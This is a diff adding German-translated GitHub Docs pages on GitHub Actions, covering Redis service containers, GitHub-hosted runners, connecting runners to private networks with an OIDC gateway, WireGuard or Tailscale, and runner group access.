+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107155'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden enthält Workflowbeispiele, in denen ein Dienstcontainer unter Verwendung des Docker Hub-Images `redis` konfiguriert wird. Der Workflow führt ein Skript aus, um einen Redis-Client zu erstellen und den Client mit Daten zu füllen. Um zu testen, ob der Workflow den Redis-Client erstellt und mit Daten füllt, gibt das Skript die Daten des Clients auf der Konsole aus.
+
+{% data reusables.actions.docker-container-os-support %}
+
+## Voraussetzungen
+
+{% data reusables.actions.service-container-prereqs %}
+
+Es kannst Dir helfen, wenn Du ein grundlegendes Verständnis von YAML, der Syntax für {% data variables.product.prodname_actions %} und Redis hast. Weitere Informationen finden Sie unter
+
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [Erste Schritte mit Redis](https://redislabs.com/get-started-with-redis/) in der Redis-Dokumentation
+
+## Jobs in Containern ausführen
+
+{% data reusables.actions.container-jobs-intro %}
+
+{% data reusables.actions.copy-workflow-file %}
+
+```yaml{:copy}
+name: Redis container example
+on: push
+
+jobs:
+  # Label of the container job
+  container-job:
+    # Containers must run in Linux based operating systems
+    runs-on: ubuntu-latest
+    # Docker Hub image that `container-job` executes in
+    container: node:10.18-jessie
+
+    # Service containers to run with `container-job`
+    services:
+      # Label used to access the service container
+      redis:
+        # Docker Hub image
+        image: redis
+        # Set health checks to wait until redis has started
+        options: >-
+          --health-cmd "redis-cli ping"
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+
+    steps:
+      # Downloads a copy of the code in your repository before running CI tests
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+
+      # Performs a clean installation of all dependencies in the `package.json` file
+      # For more information, see https://docs.npmjs.com/cli/ci.html
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Connect to Redis
+        # Runs a script that creates a Redis client, populates
+        # the client with data, and retrieves data
+        run: node client.js
+        # Environment variable used by the `client.js` script to create a new Redis client.
+        env:
+          # The hostname used to communicate with the Redis service container
+          REDIS_HOST: redis
+          # The default Redis port
+          REDIS_PORT: 6379
+```
+
+### Den Container-Job konfigurieren
+
+{% data reusables.actions.service-container-host %}
+
+{% data reusables.actions.redis-label-description %}
+
+```yaml{:copy}
+jobs:
+  # Label of the container job
+  container-job:
+    # Containers must run in Linux based operating systems
+    runs-on: ubuntu-latest
+    # Docker Hub image that `container-job` executes in
+    container: node:10.18-jessie
+
+    # Service containers to run with `container-job`
+    services:
+      # Label used to access the service container
+      redis:
+        # Docker Hub image
+        image: redis
+        # Set health checks to wait until redis has started
+        options: >-
+          --health-cmd "redis-cli ping"
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+```
+
+### „Steps“ (Schritte) konfigurieren
+
+{% data reusables.actions.service-template-steps %}
+
+```yaml{:copy}
+steps:
+  # Downloads a copy of the code in your repository before running CI tests
+  - name: Check out repository code
+    uses: {% data reusables.actions.action-checkout %}
+
+  # Performs a clean installation of all dependencies in the `package.json` file
+  # For more information, see https://docs.npmjs.com/cli/ci.html
+  - name: Install dependencies
+    run: npm ci
+
+  - name: Connect to Redis
+    # Runs a script that creates a Redis client, populates
+    # the client with data, and retrieves data
+    run: node client.js
+    # Environment variable used by the `client.js` script to create a new Redis client.
+    env:
+      # The hostname used to communicate with the Redis service container
+      REDIS_HOST: redis
+      # The default Redis port
+      REDIS_PORT: 6379
+```
+
+{% data reusables.actions.redis-environment-variables %}
+
+Der Hostname des Redis-Diensts ist die Bezeichnung, die du in deinem Workflow konfiguriert hast (in diesem Fall: `redis`). Da Docker-Container im selben benutzerdefinierten Bridge-Netzwerk standardmäßig alle Ports öffnen, kannst Du auf den Service-Container über den Standard-Redis-Port 6379 zugreifen.
+
+## Jobs direkt auf der Runner-Maschine ausführen
+
+Wenn Du einen Job direkt auf der Runner-Maschine ausführst, musst Du die Ports des Service-Containers den Ports des Docker-Hosts zuordnen. Du kannst vom Docker-Host aus auf Dienstcontainer zugreifen, indem du `localhost` und die Portnummer des Docker-Hosts verwendest.
+
+{% data reusables.actions.copy-workflow-file %}
+
+```yaml{:copy}
+name: Redis runner example
+on: push
+
+jobs:
+  # Label of the runner job
+  runner-job:
+    # You must use a Linux environment when using service containers or container jobs
+    runs-on: ubuntu-latest
+
+    # Service containers to run with `runner-job`
+    services:
+      # Label used to access the service container
+      redis:
+        # Docker Hub image
+        image: redis
+        # Set health checks to wait until redis has started
+        options: >-
+          --health-cmd "redis-cli ping"
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+        ports:
+          # Maps port 6379 on service container to the host
+          - 6379:6379
+
+    steps:
+      # Downloads a copy of the code in your repository before running CI tests
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+
+      # Performs a clean installation of all dependencies in the `package.json` file
+      # For more information, see https://docs.npmjs.com/cli/ci.html
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Connect to Redis
+        # Runs a script that creates a Redis client, populates
+        # the client with data, and retrieves data
+        run: node client.js
+        # Environment variable used by the `client.js` script to create
+        # a new Redis client.
+        env:
+          # The hostname used to communicate with the Redis service container
+          REDIS_HOST: localhost
+          # The default Redis port
+          REDIS_PORT: 6379
+```
+
+### Runner-Job konfigurieren
+
+{% data reusables.actions.service-container-host-runner %}
+
+{% data reusables.actions.redis-label-description %}
+
+Der Workflow ordnet Port 6379 des Redis-Service-Containers dem Docker-Host zu. Weitere Informationen zum Schlüsselwort `ports` findest du unter [Informationen zu Dienstcontainern](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports).
+
+```yaml{:copy}
+jobs:
+  # Label of the runner job
+  runner-job:
+    # You must use a Linux environment when using service containers or container jobs
+    runs-on: ubuntu-latest
+
+    # Service containers to run with `runner-job`
+    services:
+      # Label used to access the service container
+      redis:
+        # Docker Hub image
+        image: redis
+        # Set health checks to wait until redis has started
+        options: >-
+          --health-cmd "redis-cli ping"
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+        ports:
+          # Maps port 6379 on service container to the host
+          - 6379:6379
+```
+
+### „Steps“ (Schritte) konfigurieren
+
+{% data reusables.actions.service-template-steps %}
+
+```yaml{:copy}
+steps:
+  # Downloads a copy of the code in your repository before running CI tests
+  - name: Check out repository code
+    uses: {% data reusables.actions.action-checkout %}
+
+  # Performs a clean installation of all dependencies in the `package.json` file
+  # For more information, see https://docs.npmjs.com/cli/ci.html
+  - name: Install dependencies
+    run: npm ci
+
+  - name: Connect to Redis
+    # Runs a script that creates a Redis client, populates
+    # the client with data, and retrieves data
+    run: node client.js
+    # Environment variable used by the `client.js` script to create
+    # a new Redis client.
+    env:
+      # The hostname used to communicate with the Redis service container
+      REDIS_HOST: localhost
+      # The default Redis port
+      REDIS_PORT: 6379
+```
+
+{% data reusables.actions.redis-environment-variables %}
+
+{% data reusables.actions.service-container-localhost %}
+
+## Redis-Sercive-Container testen
+
+Du kannst Deinen Workflow mit dem folgenden Skript testen, das einen Redis-Client erstellt und den Client mit Platzhalter-Daten füllt. Das Skript gibt dann die im Redis-Client gespeicherten Werte auf dem Terminal aus. Für das Skript kann eine beliebige Sprache verwendet werden. In diesem Beispiel werden jedoch Node.js und das npm-Modul `redis` genutzt. Weitere Informationen findest du unter dem [npm-Modul „redis“](https://www.npmjs.com/package/redis).
+
+Du kannst *client.js* anpassen, um alle Redis-Vorgänge einzuschließen, die für deinen Workflow erforderlich sind. In diesem Beispiel erstellt das Skript die Redis-Client-Instanz, fügt Platzhalter-Daten hinzu und ruft dann die Daten ab.
+
+{% data reusables.actions.service-container-add-script %}
+
+```javascript{:copy}
+const redis = require("redis");
+
+// Creates a new Redis client
+// If REDIS_HOST is not set, the default host is localhost
+// If REDIS_PORT is not set, the default port is 6379
+const redisClient = redis.createClient({
+  host: process.env.REDIS_HOST,
+  port: process.env.REDIS_PORT  
+});
+
+redisClient.on("error", function(err) {
+    console.log("Error " + err);
+});
+
+// Sets the key "octocat" to a value of "Mona the octocat"
+redisClient.set("octocat", "Mona the Octocat", redis.print);
+// Sets a key to "octocat", field to "species", and "value" to "Cat and Octopus"
+redisClient.hset("species", "octocat", "Cat and Octopus", redis.print);
+// Sets a key to "octocat", field to "species", and "value" to "Dinosaur and Octopus"
+redisClient.hset("species", "dinotocat", "Dinosaur and Octopus", redis.print);
+// Sets a key to "octocat", field to "species", and "value" to "Cat and Robot"
+redisClient.hset(["species", "robotocat", "Cat and Robot"], redis.print);
+// Gets all fields in "species" key
+
+redisClient.hkeys("species", function (err, replies) {
+    console.log(replies.length + " replies:");
+    replies.forEach(function (reply, i) {
+        console.log("    " + i + ": " + reply);
+    });
+    redisClient.quit();
+});
+```
+
+Das Skript erstellt einen neuen Redis-Client mithilfe der Methode `createClient`. Diese Methode akzeptiert einen Parameter vom Typ `host` und einen Parameter vom Typ `port`. Im Skript werden die Umgebungsvariablen `REDIS_HOST` und `REDIS_PORT` verwendet, um die IP-Adresse und den Port des Clients festzulegen. Wenn `host` und `port` nicht definiert sind, werden der Standardhost `localhost` und der Standardport 6379 verwendet.
+
+Im Skript werden die Methoden `set` und `hset` verwendet, um die Datenbank mit einigen Schlüsseln, Feldern und Werten aufzufüllen. Um zu bestätigen, dass der Redis-Client die Daten enthält, gibt das Skript den Inhalt der Datenbank in das Konsolen-Log aus.
+
+Wenn Du diesen Workflow ausführst, solltest Du im Schritt „Mit Redis verbinden“ die folgende Ausgabe sehen, welche zeigt, dass Du den Redis-Client erstellt und Daten hinzugefügt hast:
+
+```
+Reply: OK
+Reply: 1
+Reply: 1
+Reply: 1  
+3 replies:
+    0: octocat
+    1: dinotocat
+    2: robotocat
+```
diff --git a/translations/de-DE/content/actions/using-containerized-services/index.md b/translations/de-DE/content/actions/using-containerized-services/index.md
new file mode 100644
index 0000000000..d68fe9a630
--- /dev/null
+++ b/translations/de-DE/content/actions/using-containerized-services/index.md
@@ -0,0 +1,25 @@
+---
+title: Verwenden von Containerdiensten
+shortTitle: Containerized services
+intro: 'Du kannst containerisierte Dienste in deinen {% data variables.product.prodname_actions %}-Workflows verwenden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/using-databases-and-services
+  - /actions/configuring-and-managing-workflows/using-databases-and-service-containers
+  - /actions/guides/using-databases-and-service-containers
+children:
+  - /about-service-containers
+  - /creating-postgresql-service-containers
+  - /creating-redis-service-containers
+ms.openlocfilehash: 33d201cd4390c6a379d59d2e42090e82f2f98fe8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107151'
+---
+
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/de-DE/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
new file mode 100644
index 0000000000..d47babe64e
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
@@ -0,0 +1,206 @@
+---
+title: About GitHub-hosted runners
+shortTitle: About GitHub-hosted runners
+intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.'
+redirect_from:
+  - /articles/virtual-environments-for-github-actions
+  - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions
+  - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners
+  - /actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners
+  - /actions/reference/virtual-environments-for-github-hosted-runners
+  - /actions/reference/software-installed-on-github-hosted-runners
+  - /actions/reference/specifications-for-github-hosted-runners
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview of {% data variables.product.prodname_dotcom %}-hosted runners
+
+Runners are the machines that execute jobs in a {% data variables.product.prodname_actions %} workflow. For example, a runner can clone your repository locally, install testing software, and then run commands that evaluate your code. 
+
+{% data variables.product.prodname_dotcom %} provides runners that you can use to run your jobs, or you can [host your own runners](/actions/hosting-your-own-runners/about-self-hosted-runners). Each {% data variables.product.prodname_dotcom %}-hosted runner is a new virtual machine (VM) hosted by {% data variables.product.prodname_dotcom %} with the runner application and other tools preinstalled, and is available with Ubuntu Linux, Windows, or macOS operating systems. When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you.
+
+{% ifversion not ghes %}
+
+## Using a {% data variables.product.prodname_dotcom %}-hosted runner
+
+To use a {% data variables.product.prodname_dotcom %}-hosted runner, create a job and use `runs-on` to specify the type of runner that will process the job, such as `ubuntu-latest`, `windows-latest`, or `macos-latest`. For the full list of runner types, see "[Supported runners and hardware resources](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)."
+
+When the job begins, {% data variables.product.prodname_dotcom %} automatically provisions a new VM for that job. All steps in the job execute on the VM, allowing the steps in that job to share information using the runner's filesystem. You can run workflows directly on the VM or in a Docker container. When the job has finished, the VM is automatically decommissioned.
+
+The following diagram demonstrates how two jobs in a workflow are executed on two different {% data variables.product.prodname_dotcom %}-hosted runners. 
+
+![Two runners processing separate jobs](/assets/images/help/images/overview-github-hosted-runner.png)
+
+The following example workflow has two jobs, named `Run-npm-on-Ubuntu` and `Run-PSScriptAnalyzer-on-Windows`. When this workflow is triggered, {% data variables.product.prodname_dotcom %} provisions a new virtual machine for each job. 
+
+- The job named `Run-npm-on-Ubuntu` is executed on a Linux VM, because the job's `runs-on:` specifies `ubuntu-latest`. 
+- The job named `Run-PSScriptAnalyzer-on-Windows` is executed on a Windows VM, because the job's `runs-on:` specifies `windows-latest`. 
+
+```yaml{:copy}
+name: Run commands on different operating systems
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  Run-npm-on-Ubuntu:
+    name: Run npm on Ubuntu
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+      - run: npm help
+
+  Run-PSScriptAnalyzer-on-Windows:
+    name: Run PSScriptAnalyzer on Windows
+    runs-on: windows-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Install PSScriptAnalyzer module
+        shell: pwsh
+        run: |
+          Set-PSRepository PSGallery -InstallationPolicy Trusted
+          Install-Module PSScriptAnalyzer -ErrorAction Stop
+      - name: Get list of rules
+        shell: pwsh
+        run: |
+          Get-ScriptAnalyzerRule
+```
+
+While the job runs, the logs and output can be viewed in the {% data variables.product.prodname_dotcom %} UI:
+
+![Job output in the Actions UI](/assets/images/help/repository/actions-runner-output.png)
+
+{% data reusables.actions.runner-app-open-source %}
+
+## Supported runners and hardware resources
+
+{% ifversion actions-hosted-runners %}
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see "[Machine specs for {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners#machine-specs-for-larger-runners)."  
+
+{% endnote %}
+{% endif %}
+
+Hardware specification for Windows and Linux virtual machines:
+- 2-core CPU (x86_64)
+- 7 GB of RAM
+- 14 GB of SSD space
+
+Hardware specification for macOS virtual machines:
+- 3-core CPU (x86_64)
+- 14 GB of RAM
+- 14 GB of SSD space
+
+{% data reusables.actions.supported-github-runners %}
+
+Workflow logs list the runner used to run a job. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+
+## Supported software
+
+The software tools included in {% data variables.product.prodname_dotcom %}-hosted runners are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. 
+### Preinstalled software
+
+Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Runner Image` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow.
+![Installed software link](/assets/images/actions-runner-installed-software-link.png)
+For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+
+For the overall list of included tools for each runner operating system, see the links below:
+
+* [Ubuntu 22.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu2204-Readme.md)
+* [Ubuntu 20.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu2004-Readme.md)
+* [Ubuntu 18.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu1804-Readme.md) (deprecated)
+* [Windows Server 2022](https://github.com/actions/runner-images/blob/main/images/win/Windows2022-Readme.md)
+* [Windows Server 2019](https://github.com/actions/runner-images/blob/main/images/win/Windows2019-Readme.md)
+* [macOS 12](https://github.com/actions/runner-images/blob/main/images/macos/macos-12-Readme.md)
+* [macOS 11](https://github.com/actions/runner-images/blob/main/images/macos/macos-11-Readme.md)
+* [macOS 10.15](https://github.com/actions/runner-images/blob/main/images/macos/macos-10.15-Readme.md)
+
+{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools. 
+
+### Using preinstalled software
+
+We recommend using actions to interact with the software installed on runners. This approach has several benefits:
+- Usually, actions provide more flexible functionality like versions selection, ability to pass arguments, and parameters
+- It ensures the tool versions used in your workflow will remain the same regardless of software updates
+
+If there is a tool that you'd like to request, please open an issue at [actions/runner-images](https://github.com/actions/runner-images). This repository also contains announcements about all major software updates on runners.
+
+### Installing additional software
+
+You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see "[Customizing GitHub-hosted runners](/actions/using-github-hosted-runners/customizing-github-hosted-runners)".
+
+## Cloud hosts used by {% data variables.product.prodname_dotcom %}-hosted runners
+
+{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on `Standard_DS2_v2` virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. For more information about the `Standard_DS2_v2` resources, see "[Dv2 and DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" in the Microsoft Azure documentation.
+
+{% data variables.product.prodname_dotcom %} hosts macOS runners in {% data variables.product.prodname_dotcom %}'s own macOS Cloud.
+
+## Workflow continuity
+
+{% data reusables.actions.runner-workflow-continuity %}
+
+In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded.
+
+## Administrative privileges
+
+The Linux and macOS virtual machines both run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)."
+
+Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation.
+
+## IP addresses
+
+{% note %}
+
+**Note:** If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you cannot use {% data variables.product.prodname_dotcom %}-hosted runners and must instead use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+
+{% endnote %}
+
+To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint.
+
+Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud.
+
+Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allow-lists for your internal resources.
+
+The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. 
+
+## File systems
+
+{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories.
+
+| Directory | Environment variable | Description |
+|-----------|----------------------|-------------|
+| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. |
+| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. |
+| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions.
+
+For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)."
+
+### Docker container filesystem
+
+Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers.
+
+{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions.
+
+- `/github/home`
+- `/github/workspace` - {% data reusables.repositories.action-root-user-required %}
+- `/github/workflow`
+
+## Further reading
+- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+- You can use a matrix strategy to run your jobs on multiple images. For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md b/translations/de-DE/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md
new file mode 100644
index 0000000000..6210b2ecc5
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md
@@ -0,0 +1,105 @@
+---
+title: Connecting to a private network
+shortTitle: Connect to a private network
+intro: 'You can connect {% data variables.product.prodname_dotcom %}-hosted runners to resources on a private network, including package registries, secret managers, and other on-premises services.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Actions
+  - Developer
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About {% data variables.product.prodname_dotcom %}-hosted runners networking
+
+By default, {% data variables.product.prodname_dotcom %}-hosted runners have access to the public internet. However, you may also want these runners to access resources on your private network, such as a package registry, a secret manager, or other on-premise services. 
+
+{% data variables.product.prodname_dotcom %}-hosted runners are shared across all {% data variables.product.prodname_dotcom %} customers, so you will need a way of connecting your private network to just your runners while they are running your workflows. There are a few different approaches you could take to configure this access, each with different advantages and disadvantages.
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+### Using an API Gateway with OIDC
+
+With {% data variables.product.prodname_actions %}, you can use OpenID Connect (OIDC) tokens to authenticate your workflow outside of {% data variables.product.prodname_actions %}. For example, you could run an API Gateway on the edge of your private network that authenticates incoming requests with the OIDC token and then makes API requests on behalf of your workflow in your private network.
+
+The following diagram gives an overview of this solution's architecture:
+
+![Diagram of an OIDC gateway](/assets/images/help/images/actions-oidc-gateway.png)
+
+It's important that you authenticate not just that the OIDC token came from {% data variables.product.prodname_actions %}, but that it came specifically from your expected workflows, so that other {% data variables.product.prodname_actions %} users aren't able to access services in your private network. You can use OIDC claims to create these conditions. For more information, see "[Defining trust conditions on cloud roles using OIDC claims](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#defining-trust-conditions-on-cloud-roles-using-oidc-claims)."
+
+The main disadvantage of this approach is you have to implement the API gateway to make requests on your behalf, as well as run it on the edge of your network.
+
+But there are various advantages too:
+- You don't need to configure any firewalls, or modify the routing of your private network. 
+- The API gateway is stateless, and so it scales horizontally to handle high availability and high throughput.
+
+For more information, see [a reference implementation of an API Gateway](https://github.com/github/actions-oidc-gateway-example) (note that this requires customization for your use case and is not ready-to-run as-is), and "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)".
+{% endif %}
+
+### Using WireGuard to create a network overlay
+
+If you don't want to maintain separate infrastructure for an API Gateway, you can create an overlay network between your runner and a service in your private network, by running WireGuard in both places.
+
+There are various disadvantages to this approach: 
+
+- To reach WireGuard running on your private service, you will need a well-known IP address and port that your workflow can reference: this can either be a public IP address and port, a port mapping on a network gateway, or a service that dynamically updates DNS. 
+- WireGuard doesn't handle NAT traversal out of the box, so you'll need to identify a way to provide this service.
+- This connection is one-to-one, so if you need high availability or high throughput you'll need to build that on top of WireGuard. 
+- You'll need to generate and securely store keys for both the runner and your private service. WireGuard uses UDP, so your network must support UDP traffic.
+
+There are some advantages too, as you can run WireGuard on an existing server so you don't have to maintain separate infrastructure, and it's well supported on {% data variables.product.prodname_dotcom %}-hosted runners.
+
+### Example: Configuring WireGuard
+
+This example workflow configures WireGuard to connect to a private service.
+
+For this example, the WireGuard instance running in the private network has this configuration:
+- Overlay network IP address of `192.168.1.1`
+- Public IP address and port of `1.2.3.4:56789`
+- Public key `examplepubkey1234...`
+
+The WireGuard instance in the {% data variables.product.prodname_actions %} runner has this configuration:
+- Overlay network IP address of `192.168.1.2`
+- Private key stores as an {% data variables.product.prodname_actions %} secret under `WIREGUARD_PRIVATE_KEY`
+
+```yaml
+name: WireGuard example
+
+on:
+  workflow_dispatch:
+
+jobs:
+  wireguard_example:
+    runs-on: ubuntu-latest
+    steps:
+      - run: sudo apt install wireguard
+
+      - run: echo "${{ secrets.WIREGUARD_PRIVATE_KEY }}" > privatekey
+
+      - run: sudo ip link add dev wg0 type wireguard
+
+      - run: sudo ip address add dev wg0 192.168.1.2 peer 192.168.1.1
+
+      - run: sudo wg set wg0 listen-port 48123 private-key privatekey peer examplepubkey1234... allowed-ips 0.0.0.0/0 endpoint 1.2.3.4:56789
+
+      - run: sudo ip link set up dev wg0
+
+      - run: curl -vvv http://192.168.1.1
+```
+
+For more information, see [WireGuard's Quick Start](https://www.wireguard.com/quickstart/), as well as "[Encrypted Secrets](/actions/security-guides/encrypted-secrets)" for how to securely store keys.
+
+### Using Tailscale to create a network overlay
+
+Tailscale is a commercial product built on top of WireGuard. This option is very similar to WireGuard, except Tailscale is more of a complete product experience instead of an open source component.
+
+It's disadvantages are similar to WireGuard: The connection is one-to-one, so you might need to do additional work for high availability or high throughput. You still need to generate and securely store keys. The protocol is still UDP, so your network must support UDP traffic.
+
+However, there are some advantages over WireGuard: NAT traversal is built-in, so you don't need to expose a port to the public internet. It is by far the quickest of these options to get up and running, since Tailscale provides an {% data variables.product.prodname_actions %} workflow with a single step to connect to the overlay network.
+
+For more information, see the [Tailscale GitHub Action](https://github.com/tailscale/github-action), as well as "[Encrypted Secrets](/actions/security-guides/encrypted-secrets)" for how to securely store keys.
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md b/translations/de-DE/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md
new file mode 100644
index 0000000000..5255ee9629
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md
@@ -0,0 +1,53 @@
+---
+title: Controlling access to larger runners
+shortTitle: 'Control access to {% data variables.actions.hosted_runner %}s'
+intro: 'You can use policies to limit access to {% data variables.actions.hosted_runner %}s that have been added to an organization or enterprise.'
+product: '{% data reusables.gated-features.hosted-runners %}'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: actions-hosted-runners
+type: tutorial
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About runner groups
+
+{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/using-github-hosted-runners/controlling-access-to-larger-runners).{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+
+## Creating a runner group for an organization
+
+{% data reusables.actions.hosted-runner-security-admonition %}
+{% data reusables.actions.creating-a-runner-group-for-an-organization %}
+
+## Creating a runner group for an enterprise
+
+{% data reusables.actions.hosted-runner-security-admonition %}
+{% data reusables.actions.creating-a-runner-group-for-an-enterprise %}
+
+{% endif %}
+
+{% data reusables.actions.section-using-unique-names-for-runner-groups %}
+
+## Changing the access policy of a runner group
+
+{% data reusables.actions.hosted-runner-security-admonition %}
+{% data reusables.actions.changing-the-access-policy-of-a-runner-group %}
+
+## Changing the name of a runner group
+
+{% data reusables.actions.changing-the-name-of-a-runner-group %}
+
+{% ifversion ghec or ghes or ghae %}
+## Moving a runner to a group
+
+{% data reusables.actions.moving-a-runner-to-a-group %}
+
+## Removing a runner group
+
+{% data reusables.actions.removing-a-runner-group %}
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md b/translations/de-DE/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
new file mode 100644
index 0000000000..9ab996a3e8
--- /dev/null
+++ b/translations/de-DE/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
@@ -0,0 +1,91 @@
+---
+title: Anpassen von auf GitHub gehosteten Runnern
+intro: 'Als Teil deines Workflows kannst du zusätzliche Software auf Runnern installieren, die in GitHub gehostet werden.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+shortTitle: Customize runners
